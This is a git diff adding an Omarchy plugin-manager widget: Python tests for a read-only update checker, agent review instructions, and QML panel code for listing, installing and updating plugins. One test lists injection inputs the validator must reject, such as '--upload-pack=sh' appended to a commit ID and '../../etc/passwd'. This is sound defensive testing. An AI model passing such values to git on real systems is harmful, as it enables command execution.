declined already holds + # origin's commit while still being behind it. Deciding from "we have + # never seen that object" alone would show that user nothing. + self.assertEqual(verdict(self.A, self.B, True, True, False), "behind") + # A developer checkout ahead of origin must not be nagged. + self.assertEqual(verdict(self.A, self.B, True, False, True), "ahead") + self.assertEqual(verdict(self.A, self.B, True, False, False), "diverged") + # Not knowing is its own answer, not a guess in either direction. + self.assertEqual(verdict("", self.B, False, False, False), "unknown") + self.assertEqual(verdict(self.A, "", False, False, False), "unknown") + + def test_remote_sha_must_be_an_object_id(self): + # This is the guard that matters: the value arrives from the network + # and is then passed as an argument to git. + for bad in ("", "HEAD", "a" * 39, "a" * 41, "A" * 40, "g" * 40, + "../../etc/passwd", "a" * 40 + " --upload-pack=sh", + "--upload-pack=evil", "a" * 40 + "\n" + "b" * 40): + self.assertIsNone(RE_SHA.match(bad), bad) + self.assertIsNotNone(RE_SHA.match(self.A)) + + def test_junk_from_the_remote_yields_unknown_not_a_crash(self): + w = UpdateWatch(repo=REPO) + calls = [] + + def fake(*args, capture=True): + calls.append(args) + if args[0] == "rev-parse": + return 0, self.A + if args[0] == "ls-remote": + return 0, "not-a-sha\tHEAD" + return 0, "" + + w._git = fake + self.assertEqual(w.check(), "unknown") + # Having refused the answer, it must not go on to use it. + self.assertNotIn("cat-file", [c[0] for c in calls]) + + def test_behind_is_reported_without_any_write(self): + w = UpdateWatch(repo=REPO) + seen = [] + + def fake(*args, capture=True): + seen.append(args[0]) + if args[0] == "rev-parse": + return 0, self.A + if args[0] == "ls-remote": + return 0, self.B + "\tHEAD" + if args[0] == "cat-file": + return 1, "" # we do not hold origin's commit + return 0, "" + + w._git = fake + self.assertEqual(w.check(), "behind") + # Every git verb used must be read-only. A fetch, pull, merge or + # checkout here would make this self-updating code. + self.assertTrue(set(seen) <= {"rev-parse", "ls-remote", "cat-file", + "merge-base"}, seen) + + def test_cadence_delays_the_first_check_and_then_spaces_them(self): + w = UpdateWatch(repo=REPO, spawn=run_inline) + w.check = lambda: "behind" + w.tick(1000.0) + # Nothing on the first tick: the daemon restarts with the shell, and + # a check on every restart would be noise. + self.assertIsNone(w.checked_ts) + w.tick(1000.0 + 299) + self.assertIsNone(w.checked_ts) + w.tick(1000.0 + 301) + self.assertEqual(w.state, "behind") + self.assertTrue(w.snapshot()["available"]) + # ...and then not again for a day. + first = w.checked_ts + w.check = lambda: "current" + w.tick(1000.0 + 3600) + self.assertEqual(w.checked_ts, first) + w.tick(1000.0 + 301 + 24 * 3600 + 1) + self.assertEqual(w.state, "current") + self.assertFalse(w.snapshot()["available"]) + + def test_disabled_makes_no_check_and_clears_any_notice(self): + w = UpdateWatch(repo=REPO, spawn=run_inline) + w.check = lambda: "behind" + w.tick(1000.0) + w.tick(1000.0 + 301) + self.assertTrue(w.snapshot()["available"]) + # Turning the setting off must retract the notice, not leave a stale + # one on screen. + w.enabled = False + called = [] + w.check = lambda: called.append(1) or "behind" + w.tick(1000.0 + 301 + 24 * 3600 + 1) + self.assertEqual(called, []) + self.assertIsNone(w.snapshot()) + + def test_nothing_published_until_something_is_known(self): + w = UpdateWatch(repo=REPO) + self.assertIsNone(w.snapshot()) + + def test_real_checkout_is_read_only_and_answers(self): + """Against this actual repository: a real answer, and the working + tree and refs are untouched afterwards.""" + before = subprocess.run(["git", "-C", str(REPO), "status", + "--porcelain"], capture_output=True, text=True) + head_before = subprocess.run(["git", "-C", str(REPO), "rev-parse", "HEAD"], + capture_output=True, text=True).stdout + w = UpdateWatch(repo=REPO) + self.assertIn(w.check(), ("current", "behind", "ahead", "diverged", + "unknown")) + after = subprocess.run(["git", "-C", str(REPO), "status", + "--porcelain"], capture_output=True, text=True) + head_after = subprocess.run(["git", "-C", str(REPO), "rev-parse", "HEAD"], + capture_output=True, text=True).stdout + self.assertEqual(before.stdout, after.stdout) + self.assertEqual(head_before, head_after) + + def test_real_clone_one_commit_behind_reports_behind(self): + """End to end against real git: a checkout that already holds + origin's commit but sits one behind it must offer the update.""" + with tempfile.TemporaryDirectory() as tmp: + clone = Path(tmp) / "c" + r = subprocess.run(["git", "clone", "--quiet", str(REPO), str(clone)], + capture_output=True) + if r.returncode != 0: + self.skipTest("git clone unavailable") + head = subprocess.run(["git", "-C", str(clone), "rev-parse", "HEAD~1"], + capture_output=True, text=True) + if head.returncode != 0: + self.skipTest("shallow history") + subprocess.run(["git", "-C", str(clone), "reset", "--quiet", + "--hard", "HEAD~1"], check=True, + capture_output=True) + w = UpdateWatch(repo=clone, spawn=run_inline) + self.assertEqual(w.check(), "behind") + self.assertTrue(w.snapshot() is None) # nothing until tick() runs + w.tick(1000.0) + w.tick(1000.0 + 301) + self.assertTrue(w.snapshot()["available"]) + + def test_config_default_is_on_and_validates_as_a_boolean(self): + cfg = Config.SCHEMA["updateCheck"] + self.assertTrue(cfg[0]) + self.assertIs(cfg[1](True), True) + self.assertIs(cfg[1](False), False) + # A wrong type falls back to the default rather than being coerced, + # the same rule every other setting follows. + self.assertIsNone(cfg[1]("yes")) + + def test_manifest_exposes_the_setting(self): + m = json.loads((REPO / "manifest.json").read_text()) + entry = next(e for e in m["barWidget"]["schema"] + if e["key"] == "updateCheck") + self.assertEqual(entry["type"], "boolean") + self.assertIs(entry["defaultValue"], True) + self.assertIn("never installs", entry["description"]) + + +class UpdateCheckIsPinnedToThePlugin(unittest.TestCase): + """`git -C ` walks up until it finds a repository. A copy-install + with no .git of its own inside a dotfiles checkout must answer unknown, + not the dotfiles' status — and must not contact the dotfiles' remote.""" + + def test_a_plain_directory_inside_a_repo_is_not_that_repo(self): + import shutil, subprocess + if not shutil.which("git"): + self.skipTest("git not installed") + with tempfile.TemporaryDirectory() as d: + subprocess.run(["git", "init", "-q", d], check=True, + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + sub = Path(d) / "plugins" / "io.github.x3me.nexthop" + sub.mkdir(parents=True) + w = UpdateWatch(repo=sub) + self.assertIsNone(w._local_head()) + self.assertEqual(w.check(), "unknown") + + +class UpdateCheckOffTheLoop(unittest.TestCase): + """The daily check may sit at git's 20 s timeout on a bad network; the + loop that owns the outage watch must never wait for it.""" + + def watch(self): + held = [] + w = UpdateWatch(repo=REPO, spawn=held.append) # records, never runs + w.check = lambda: "behind" + return w, held + + def test_tick_returns_before_the_check_finishes(self): + w, held = self.watch() + w.tick(1000.0) + w.tick(1000.0 + 301) + self.assertEqual(len(held), 1) + self.assertEqual(w.state, "unknown") # nothing adopted yet + self.assertIsNone(w.snapshot()) + held[0]() # the worker finishes + w.tick(1000.0 + 302) + self.assertEqual(w.state, "behind") + self.assertEqual(w.checked_ts, 1302) + + def test_no_second_check_while_one_is_in_flight(self): + w, held = self.watch() + w.tick(1000.0) + w.tick(1000.0 + 301) + w.tick(1000.0 + 301 + 24 * 3600 + 1) # due again, first never returned + self.assertEqual(len(held), 1) + + def test_disabling_drops_an_answer_still_in_flight(self): + w, held = self.watch() + w.tick(1000.0) + w.tick(1000.0 + 301) + w.enabled = False + w.tick(1000.0 + 302) + held[0]() + w.tick(1000.0 + 303) + self.assertIsNone(w.snapshot()) + w.enabled = True + w.tick(1000.0 + 304) + # Re-enabled: the answer that landed while off must not surface. + self.assertIsNone(w.snapshot()) + + +if __name__ == "__main__": + unittest.main() diff --git a/plugins/omaplug/AGENTS.md b/plugins/omaplug/AGENTS.md new file mode 100644 index 0000000..0b5526a --- /dev/null +++ b/plugins/omaplug/AGENTS.md @@ -0,0 +1,9 @@ +# Required security review + +Before committing or pushing this repository, read and follow +`skills/omaplug-security-review/SKILL.md`. It uses the local, gitignored +`omarchy-plugin-verify-security-review-public.md` as the review checklist. + +Run the appropriate pre-commit or pre-push review before the operation. If the +checklist is missing, report the missing prerequisite and do not silently skip +the review. This is an agent workflow requirement, not an installed Git hook. diff --git a/plugins/omaplug/BarWidget.qml b/plugins/omaplug/BarWidget.qml new file mode 100644 index 0000000..84cd661 --- /dev/null +++ b/plugins/omaplug/BarWidget.qml @@ -0,0 +1,106 @@ +import QtQuick +import Quickshell.Io +import qs.Commons +import qs.Ui + +BarWidget { + id: root + moduleName: "omaplug" + + // The bar's findPanelWidget (Bar.qml) requires open/close/opened on the + // bar-widget root, and the popout coordinator compares against + // slot.activeItem — so the widget, not the nested panel, is the identity. + readonly property bool opened: panelItem ? panelItem.opened === true : false + readonly property int pendingUpdateCount: panelItem ? (panelItem.pendingUpdateCount || 0) : 0 + + function open() { if (panelItem) panelItem.open() } + function close() { if (panelItem) panelItem.close() } + function togglePanel() { if (panelItem) panelItem.toggle() } + + // Forwarded so this widget can stand in for the panel as the bar's popout + // identity: Bar.requestPopout prefers closeForPopoutSwitch over close, and + // KeyboardPanel reads popoutSwitchClosing back off its owner. + readonly property bool popoutSwitchClosing: panelItem ? panelItem.popoutSwitchClosing === true : false + function closeForPopoutSwitch() { if (panelItem) panelItem.closeForPopoutSwitch() } + + property var panelItem: null + + function injectPanel() { + var target = panelLoader.item + if (!target) return + panelItem = target + if ("bar" in target) target.bar = root.bar + if ("settings" in target) target.settings = root.settings + if ("anchorItem" in target) target.anchorItem = button + if ("hostWidget" in target) target.hostWidget = root + } + + implicitWidth: button.implicitWidth + implicitHeight: button.implicitHeight + + onBarChanged: injectPanel() + onSettingsChanged: injectPanel() + + Loader { + id: panelLoader + active: true + source: Qt.resolvedUrl("Panel.qml") + visible: false + onLoaded: { + root.injectPanel() + Qt.callLater(root.injectPanel) + } + } + + IpcHandler { + target: "omaplug" + + function refresh(): void { root.broadcast("refresh") } + function open(): void { root.open() } + function close(): void { root.close() } + function show(): void { root.open() } + function hide(): void { root.close() } + function toggle(): void { root.togglePanel() } + } + + BarIconButton { + id: button + anchors.fill: parent + bar: root.bar + text: root.opened ? "\udb85\udcd3" : "\udb85\udcd9" + tooltipText: root.opened ? "Close Plugin Manager" : "Plugin Manager" + + onPressed: function(b) { + if (b === Qt.LeftButton) root.togglePanel() + } + } + + // Small pending-update indicator, independent of the manager's own + // open/close state so it stays visible whether or not the panel is open. + Rectangle { + id: updateBadge + visible: root.pendingUpdateCount > 0 + anchors.top: button.top + anchors.right: button.right + z: 10 + + readonly property string countText: root.pendingUpdateCount > 9 ? "9+" : String(root.pendingUpdateCount) + + implicitWidth: Math.max(Style.space(14), badgeLabel.implicitWidth + Style.space(6)) + implicitHeight: Style.space(14) + radius: height / 2 + color: Color.accent + border.width: 1 + border.color: root.bar ? root.bar.background : "transparent" + + Text { + id: badgeLabel + anchors.centerIn: parent + text: updateBadge.countText + color: "white" + font.family: root.bar ? root.bar.fontFamily : Style.font.family + font.pixelSize: Style.font.caption * 0.85 + font.bold: true + } + } +} diff --git a/plugins/omaplug/LICENSE b/plugins/omaplug/LICENSE new file mode 100644 index 0000000..71d8985 --- /dev/null +++ b/plugins/omaplug/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 Fross + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. \ No newline at end of file diff --git a/plugins/omaplug/Panel.qml b/plugins/omaplug/Panel.qml new file mode 100644 index 0000000..69fbf3a --- /dev/null +++ b/plugins/omaplug/Panel.qml @@ -0,0 +1,2253 @@ +pragma ComponentBehavior: Bound + +import QtQuick +import QtQuick.Controls +import QtQuick.Layouts +import Quickshell +import Quickshell.Io +import qs.Commons +import qs.Ui +import "panel/Presentation.js" as Presentation +import "panel/dialogs" as Dialogs +import "panel/layout" as Arrange +import "panel/plugin" as Plugin +import "panel/updates" as Updates + +// Plugin manager popup: lists every discovered plugin (first-party omarchy + +// third-party) with an enable/disable switch. The list is read from the +// `omarchy plugin list --json`, the same public source used by Omarchy's +// plugin command. Actions go back through the matching CLI commands. +Panel { + id: root + moduleName: "omaplug" + ipcTarget: "omaplug" + manageIpc: false + + property var anchorItem: null + property var hostWidget: null + readonly property var barIdentity: hostWidget || root + + readonly property color contentForeground: bar ? bar.foreground : Color.foreground + readonly property string contentFontFamily: bar ? bar.fontFamily : Style.font.family + // Overlays cover the popup's own card, so they match the popup background. + readonly property color panelBackground: Color.popups.background + + // ------------------------------------------------------------------ plugins + + property var pluginRows: [] + property var nestedWidgetIds: ({}) + property Process pluginConfigProcess: Process { + onExited: function(exitCode) { + if (exitCode === 0) root.applyPluginConfig(pluginConfigStdout.text) + } + stdout: StdioCollector { id: pluginConfigStdout; waitForEnd: true } + } + property Process pluginListProcess: Process { + onExited: function(exitCode) { + if (exitCode === 0) root.applyPluginList(pluginListStdout.text) + else root.pluginRows = [] + } + stdout: StdioCollector { + id: pluginListStdout + waitForEnd: true + } + } + property Process pluginToggleProcess: Process { + onExited: function(exitCode) { + if (exitCode !== 0) console.warn("Could not change plugin state") + root.refreshPlugins() + } + } + property Process pluginManifestProcess: Process { + onExited: function(exitCode) { + if (exitCode === 0) root.applyPluginMetadata(pluginManifestStdout.text) + } + stdout: StdioCollector { + id: pluginManifestStdout + waitForEnd: true + } + } + + // Git remote URLs for updatable plugins, keyed by sourceKey. Filled by a + // background `git remote get-url` scan so each row can offer a repo link. + property var pluginRepos: ({}) + property bool reposScanning: false + + // Marketplace listing info keyed by plugin id: { verified, snapshotCommit, + // snapshotStatus }. Fetched from the public catalog so rows can show a + // verification badge and a "View on marketplace" link for listed plugins. + property var marketplaceMap: ({}) + property bool marketplaceFetching: false + property bool marketplaceFetchFailed: false + property string marketplaceFetchedAt: "" + property string marketplaceHelperPath: "" + + // Local HEAD commit for every git-managed plugin dir, keyed by folder name. + // Filled alongside the repo remote scan so rows can compare the installed + // code against the marketplace listing's snapshot-checked commit. + property var pluginCommits: ({}) + + function marketplaceEntry(id) { + return root.marketplaceMap[String(id)] || null + } + // GitHub compare URL from the listing's snapshot-checked commit to the + // locally installed commit. Only http(s) GitHub remotes are eligible, since + // this URL goes to the browser. + function compareUrlFor(sourceKey, fromSha, toSha) { + return Presentation.compareUrl(root.pluginRepos[sourceKey], fromSha, toSha) + } + // "What's new" link for a plugin with an available update: prefer the + // marketplace release page (release notes), otherwise the GitHub compare + // from the installed commit to the latest observed upstream commit. + function whatsNewUrlFor(sourceKey, id) { + var entry = root.marketplaceEntry(String(id)) + if (entry && typeof entry.releaseUrl === "string" && entry.releaseUrl !== "") + return entry.releaseUrl + var local = root.pluginCommits[String(sourceKey)] || "" + var upstream = (entry && typeof entry.upstreamCommit === "string") ? entry.upstreamCommit : "" + return root.compareUrlFor(sourceKey, local, upstream) + } + + property string searchText: "" + property int filterMode: 2 // 0 all, 1 omarchy, 2 third-party, 4 adna + property string filterKind: "" // "" all types, else a kind like bar-widget + + // Kind choices derived from what is actually installed, so the dropdown + // only offers types the user can really filter by. + // Canonical Omarchy plugin kinds (Quattro contract). Anything outside this + // list is grouped under "Other". + // Canonical Omarchy plugin kinds (Quattro contract) with display labels, + // in fixed dropdown order. Anything outside this list groups under Other. + readonly property var knownKinds: [ + { value: "bar-widget", label: "Bar Widget" }, + { value: "panel", label: "Panel" }, + { value: "overlay", label: "Overlay" }, + { value: "menu", label: "Menu" }, + { value: "service", label: "Service" }, + { value: "bar", label: "Bar" } + ] + + readonly property var kindOptions: { + var installed = {} + var hasOther = false + for (var i = 0; i < root.pluginRows.length; i++) { + var parts = String(root.pluginRows[i].kinds || "").split(", ") + for (var j = 0; j < parts.length; j++) { + var k = parts[j].trim() + if (k === "") continue + var canonical = false + for (var n = 0; n < root.knownKinds.length; n++) { + if (root.knownKinds[n].value === k) { canonical = true; break } + } + if (canonical) installed[k] = true + else hasOther = true + } + } + var opts = [{ value: "", label: "All types" }] + for (var m = 0; m < root.knownKinds.length; m++) { + if (installed[root.knownKinds[m].value] === true) + opts.push({ value: root.knownKinds[m].value, label: root.knownKinds[m].label }) + } + if (hasOther) opts.push({ value: "_other", label: "Other" }) + return opts + } + + function rowMatchesKind(p) { + if (root.filterKind === "") return true + var kinds = String(p.kinds || "").split(", ") + if (root.filterKind === "_other") { + for (var i = 0; i < kinds.length; i++) { + var k = kinds[i].trim() + if (k === "") continue + var canonical = false + for (var n = 0; n < root.knownKinds.length; n++) { + if (root.knownKinds[n].value === k) { canonical = true; break } + } + if (!canonical) return true + } + return false + } + return kinds.indexOf(root.filterKind) !== -1 + } + + // Background auto-check: whether to poll for updates without the panel + // being opened, and how often. Persisted in this widget's shell.json entry + // so the choice survives shell restarts and is per-user, not per-checkout. + // Mirrored verbatim in tests/AutoCheckLogic.qml; keep both copies + // identical, or auto-check-test.sh's sync guard will fail the build. + // AUTOCHECK-SETTINGS-BEGIN + readonly property bool autoCheckEnabled: root.setting("autoCheckUpdates", false) === true + // real, not int: an int property truncates any fractional hours value + // (e.g. 0.5) towards zero, which would silently turn into a zero-interval + // Timer below and spin checkUpdates() in a tight loop. + readonly property real autoCheckIntervalHours: { + var hours = Number(root.setting("autoCheckIntervalHours", 6)) + return (isFinite(hours) && hours > 0) ? hours : 6 + } + // AUTOCHECK-SETTINGS-END + + function persistAutoCheckSetting(values) { + if (autoCheckSettingsProcess.running) return + var key = Object.keys(values)[0] + autoCheckSettingsProcess.command = ["omarchy", "bar", "set", root.moduleName, + key, JSON.stringify(values[key]), "--json"] + autoCheckSettingsProcess.pendingValues = values + autoCheckSettingsProcess.running = true + } + + property Process autoCheckSettingsProcess: Process { + property var pendingValues: ({}) + onExited: function(exitCode) { + if (exitCode === 0) root.applyAutoCheckSettings(pendingValues) + else root.updateSummary = "Could not save automatic update settings." + } + } + + function applyAutoCheckSettings(values) { + var entry = { id: root.moduleName } + for (var existing in root.settings) if (existing !== "id") entry[existing] = root.settings[existing] + for (var key in values) entry[key] = values[key] + + root.settings = entry + if (root.hostWidget && "settings" in root.hostWidget) root.hostWidget.settings = entry + } + + function setAutoCheckEnabled(value) { + root.persistAutoCheckSetting({ autoCheckUpdates: value === true }) + } + + function setAutoCheckIntervalHours(hours) { + var value = Number(hours) + if (!isFinite(value) || value <= 0) return + root.persistAutoCheckSetting({ autoCheckIntervalHours: value }) + } + + // Update checking state, keyed by the plugin folder name (sourceKey). + property var updateStates: ({}) + property bool checkingUpdates: false + property bool updatingAll: false + property string updateSummary: "" + property string updatingId: "" + // Detached update-runner plumbing (from PR #1): the helper survives the + // plugin reload that a successful update triggers, and the newly loaded + // panel reconnects to the same job via this runtime status file. + property string updateHelperPath: "" + property string updateRunnerPath: "" + readonly property string runtimeStatePath: String(Qt.resolvedUrl("runtime-state.py")).replace(/^file:\/\//, "") + // Wraps plugin-state.sh with a lock+cache so the omaplug instance on each + // monitor's bar doesn't independently re-fetch every plugin's remote when + // the background timer (not a user click) is what triggered the check. + property string autoCheckCoordinatorPath: "" + readonly property string updateStateRoot: { + var runtime = Quickshell.env("XDG_RUNTIME_DIR") + return runtime && runtime !== "" + ? runtime + "/omaplug" + : (Quickshell.env("XDG_CACHE_HOME") || Quickshell.env("HOME") + "/.cache") + "/omaplug" + } + readonly property string updateStatusPath: root.updateStateRoot + "/update.status" + readonly property int completedUpdateJobMaxAgeSeconds: 300 + property bool updateDetachedRunning: false + property bool updateAwaitingStart: false + property string updateExpectedJobId: "" + property string updateProbePid: "" + property int updateDeadProbeCount: 0 + // Full-page "check for updates" view (replaces the header inline progress). + property bool updatesPageOpen: false + // Streaming parse state for per-plugin progress. + property string updateCheckLineBuf: "" + property int updateCheckProcessed: 0 + property var updateCheckSeen: ({}) + + property bool installDialogOpen: false + property bool installRunning: false + property bool installFailed: false + property string installResult: "" + // Confirm popup shown before running install: makes the disabled-by-default + // policy explicit. installPendingUrl carries the extracted URL. + property bool installConfirmOpen: false + property string installPendingUrl: "" + // Status file for the detached installer. The file is created securely + // via mktemp (XDG_RUNTIME_DIR) so the helper can truncate it without + // following an attacker-controlled symlink. The plugin is installed but + // not enabled by default — user must enable manually after reviewing. + property string installStatusPath: "" + property bool installDetachedRunning: false + + // Plugin removal state. Each row gets a trash button for a single remove, and + // a select mode (check list) removes several at once via a sequential queue. + property var removeSelection: ({}) + property bool removeSelectMode: false + property string removeSummary: "" + property string moveSummary: "" + property var removeQueue: [] + property bool removingPlugin: false + property bool removeConfirmOpen: false + property var removePending: [] + // Confirmation before restarting the shell: clears the QML compile cache and + // relaunches the shell so plugins reload from source (fixes stale compiled + // plugin QML that a live rescan would keep serving). + property bool restartConfirmOpen: false + // Bar-layout board (drag-and-drop ordering across left/center/right). + property bool layoutPageOpen: false + readonly property var barLayoutSections: root.layoutSections() + // Right-click context menu on a main-page row. + property bool rowMenuOpen: false + property string rowMenuId: "" + property var rowMenuPos: ({ x: 0, y: 0 }) + onInstallDialogOpenChanged: { + if (root.installDialogOpen) { + root.installRunning = false + root.installFailed = false + root.installResult = "" + } else { + root.installConfirmOpen = false + root.installPendingUrl = "" + } + } + + property Timer checkWatchdog: Timer { + interval: 60000 + repeat: false + onTriggered: { + console.log("checkWatchdog timeout, process running=", root.updateCheckProcess.running) + if (!root.checkingUpdates) return + if (root.updateCheckProcess.running) + root.updateCheckProcess.signal(15) + root.checkingUpdates = false + root.updateSummary = "Check timed out — a repository may be unreachable" + } + } + + // Detached install helpers have no live process handle here (setsid/nohup + // survives the plugin reload that unloads this panel), so a helper that + // dies mid-install would otherwise leave the dialog stuck on "Installing…" + // forever. Bound the wait; git clones can be slow, so allow three minutes. + property Timer installWatchdog: Timer { + interval: 180000 + repeat: false + onTriggered: { + if (!root.installDetachedRunning && !root.installRunning) return + root.installDetachedRunning = false + root.installRunning = false + root.installFailed = true + root.installResult = "Install timed out" + root.installStatusPath = "" + } + } + + // Pull the icon glyph straight from the plugin's live bar widget. Each + // module slot on the bar holds the instantiated BarWidget, whose button + // carries the author's `text` glyph. This stays in sync with what the bar + // actually renders (no hardcoded copy to drift). + property var _glyphCache: ({}) + function invalidateGlyphCache() { root._glyphCache = {} } + + function liveGlyphFor(id) { + if (root._glyphCache[id] !== undefined) return root._glyphCache[id] + var glyph = liveGlyphForUncached(id) + root._glyphCache[id] = glyph + return glyph + } + + function liveGlyphForUncached(id) { + var bar = root.bar + if (!bar || !bar.moduleSlots) return "" + var slots = bar.moduleSlots + for (var i = 0; i < slots.length; i++) { + var slot = slots[i] + if (!slot || slot.moduleName !== id) continue + var item = slot.activeItem + if (!item) continue + var glyph = buttonGlyphIn(item) + if (glyph) return glyph + } + return "" + } + + // Depth-first walk of a widget's children looking for a bar button + // (WidgetButton or its BarIconButton subclass, both exposing `text` and + // `labelVisible`); returns its rendered text glyph. + function buttonGlyphIn(item) { + var stack = [item] + while (stack.length > 0) { + var node = stack.pop() + if (!node) continue + if (typeof node.text === "string" && node.text !== "" + && (typeof node.slotSize === "number" || typeof node.labelVisible === "boolean")) { + return node.text + } + // QObject::data is not bindable; reading it while iconFor() participates + // in a Text binding makes Qt warn on every refresh. Bar buttons are + // visual items, so the bindable visual-child tree is the right scope. + var children = node.children + if (children) { + for (var j = 0; j < children.length; j++) stack.push(children[j]) + } + } + return "" + } + + // A bar-button label can combine an icon with live state (durations, + // counters, temperatures, etc.). Keep only a leading Nerd Font glyph so + // that status text never leaks into a fixed-size plugin icon tile. + function leadingIconGlyph(text) { + var s = String(text || "") + if (s.length === 0) return "" + + var first = s.charCodeAt(0) + if (first >= 0xE000 && first <= 0xF8FF) return s.charAt(0) + if (first < 0xD800 || first > 0xDBFF || s.length < 2) return "" + + var second = s.charCodeAt(1) + if (second < 0xDC00 || second > 0xDFFF) return "" + var codePoint = (first - 0xD800) * 0x400 + second - 0xDC00 + 0x10000 + // Nerd Font's supplementary glyphs are in the Supplementary Private Use + // Areas (planes 15 and 16). Do not turn arbitrary emoji into row icons. + return codePoint >= 0xF0000 && codePoint <= 0x10FFFD ? s.substring(0, 2) : "" + } + + function iconFor(id) { + var map = { + "omaplug": "\udb85\udcd9", + "adna.bar": "\uf2f2", + "adna.bar-switch": "\uf2f2", + "adna.clock": "\uf017", + "adna.dynamic.island": "\uf5bb", + "adna.menu": "\ue900", + "adna.notifications": "\uf0f3", + "adna.weather": "\uf6c3", + "hark": "\uf130", + "omaconnect": "\uf1eb", + "hl.peripheral_battery": "\uf241", + "io.weirdware.blueferry": "\uf56f", + "com.aktivesolutions.bw-vault": "\uf3ed", + "io.github.bmontythe3rd.display-manager": "\uf108", + "io.github.sirjul1337.lock-explorer": "\uf023", + "io.github.thisisgm.cliampui": "\uf026", + "markbusai.opencode-usage": "\uf11b", + "stappmus.activity-monitor": "\uf080", + "syntaxboybe.fluxcast": "\uf043", + "omarchy.agents": "\uf544", + "omarchy.background": "\uf03e", + "omarchy.bar": "\uf0c9", + "omarchy.clipboard": "\uf328", + "omarchy.dev-gallery": "\uf121", + "omarchy.emojis": "\uf118", + "omarchy.image-picker": "\uf030", + "omarchy.lock": "\uf023", + "omarchy.notifications": "\uf0f3", + "omarchy.osd": "\uf163", + "omarchy.polkit": "\uf3ed", + "omarchy.reminders": "\uf017" + } + if (/clock/i.test(String(id))) return "\uf017" + var live = root.leadingIconGlyph(root.liveGlyphFor(id)) + if (live) return live + return map[id] || "" + } + + readonly property var visibleRows: root.pluginRows.filter(function(p) { + if (root.removeSelectMode && p.firstParty) return false + if (root.filterMode === 1 && !p.firstParty) return false + if (root.filterMode === 2 && p.firstParty) return false + if (root.filterMode === 4 && String(p.id).indexOf("adna.") !== 0) return false + if (!root.rowMatchesKind(p)) return false + var q = root.searchText.trim().toLowerCase() + if (q === "") return true + return String(p.name || "").toLowerCase().indexOf(q) !== -1 + || String(p.description || "").toLowerCase().indexOf(q) !== -1 + || String(p.id || "").toLowerCase().indexOf(q) !== -1 + || String(p.author || "").toLowerCase().indexOf(q) !== -1 + || String(p.kinds || "").toLowerCase().indexOf(q) !== -1 + }) + + // Plugins with a git remote (what update actually applies to). Local / + // dev plugins without a remote are skipped from the update list. + readonly property var updateCheckRows: root.pluginRows.filter(function(p) { + return p.updatable && root.pluginRepos[String(p.sourceKey)] !== undefined + }) + + function updateErrorSuffix(count) { + return count > 0 ? " (" + count + " error" + (count === 1 ? "" : "s") + ")" : "" + } + + // Mirrored verbatim in tests/AutoCheckLogic.qml; keep both copies + // identical, or auto-check-test.sh's sync guard will fail the build. + // PENDING-UPDATE-COUNT-BEGIN + readonly property int pendingUpdateCount: { + var n = 0 + for (var k in root.updateStates) { + if (root.pluginRepos[k] === undefined) continue + if (root.updateStates[k] === "UPDATE") n++ + } + n + } + // PENDING-UPDATE-COUNT-END + + readonly property int enabledPluginCount: { + var n = 0 + for (var i = 0; i < root.pluginRows.length; i++) + if (root.pluginEnabled(root.pluginRows[i].id)) n++ + n + } + + readonly property string headerSummary: { + var parts = [] + parts.push(root.pluginRows.length + " plugins") + parts.push(root.enabledPluginCount + " enabled") + if (root.pendingUpdateCount > 0) + parts.push(root.pendingUpdateCount + " update" + (root.pendingUpdateCount > 1 ? "s" : "") + " available") + parts.join(" · ") + } + + readonly property int selectedRemoveCount: { + var n = 0 + for (var k in root.removeSelection) if (root.removeSelection[k]) n++ + n + } + + function toggleRemoveSelection(id) { + var sel = root.removeSelection + var next = {} + for (var k in sel) next[k] = sel[k] + if (next[id] === true) delete next[id] + else next[id] = true + root.removeSelection = next + } + + function removePlugin(id) { + root.removePending = [id] + root.removeConfirmOpen = true + } + + function removeSelected() { + var ids = [] + for (var k in root.removeSelection) if (root.removeSelection[k]) ids.push(k) + if (ids.length === 0) return + root.removePending = ids + root.removeConfirmOpen = true + } + + function confirmRemove() { + root.keepOpenAcrossRebuild() + root.removeQueue = root.removePending.slice() + root.removePending = [] + root.removeConfirmOpen = false + root.removeNext() + } + + function cancelRemove() { + root.removePending = [] + root.removeConfirmOpen = false + } + + function requestRestartShell() { + root.restartConfirmOpen = true + } + + function cancelRestartShell() { + root.restartConfirmOpen = false + } + + // Clear the QML compile cache and restart the shell. The shell dies as part + // of the restart, so the whole job is detached with setsid/nohup and the + // Process that fires it exits immediately. + function confirmRestartShell() { + root.restartConfirmOpen = false + var script = 'rm -rf "$HOME/.cache/quickshell/qmlcache" "$HOME/.cache/quickshell"/qtpipelinecache-*; omarchy-restart-shell' + restartShellProcess.command = ["bash", "-c", + 'setsid nohup bash -c "$0" >/dev/null 2>&1 &', script] + restartShellProcess.running = true + } + + function removeNext() { + if (root.removeQueue.length === 0) { + root.removingPlugin = false + root.removeSelection = {} + root.removeSummary = "Removed." + Qt.callLater(function() { root.refreshPlugins() }) + return + } + var id = root.removeQueue.shift() + root.removingPlugin = true + root.removeSummary = "Removing " + id + "…" + removeProcess.command = ["bash", "-c", "omarchy plugin remove \"$0\" --yes 2>&1 | { head -c 8192; cat >/dev/null; }; exit ${PIPESTATUS[0]}", id] + removeProcess.running = true + } + + function onRemoveFinished(exitCode) { + var err = String(removeStdout.text || "").trim() + if (exitCode !== 0) { + root.removingPlugin = false + root.removeQueue = [] + root.removeSummary = "Remove failed" + (err ? ": " + err : "") + return + } + Qt.callLater(function() { root.removeNext() }) + } + + // Reads `git remote get-url origin` and `git rev-parse HEAD` for every + // git-managed plugin dir and fills pluginRepos 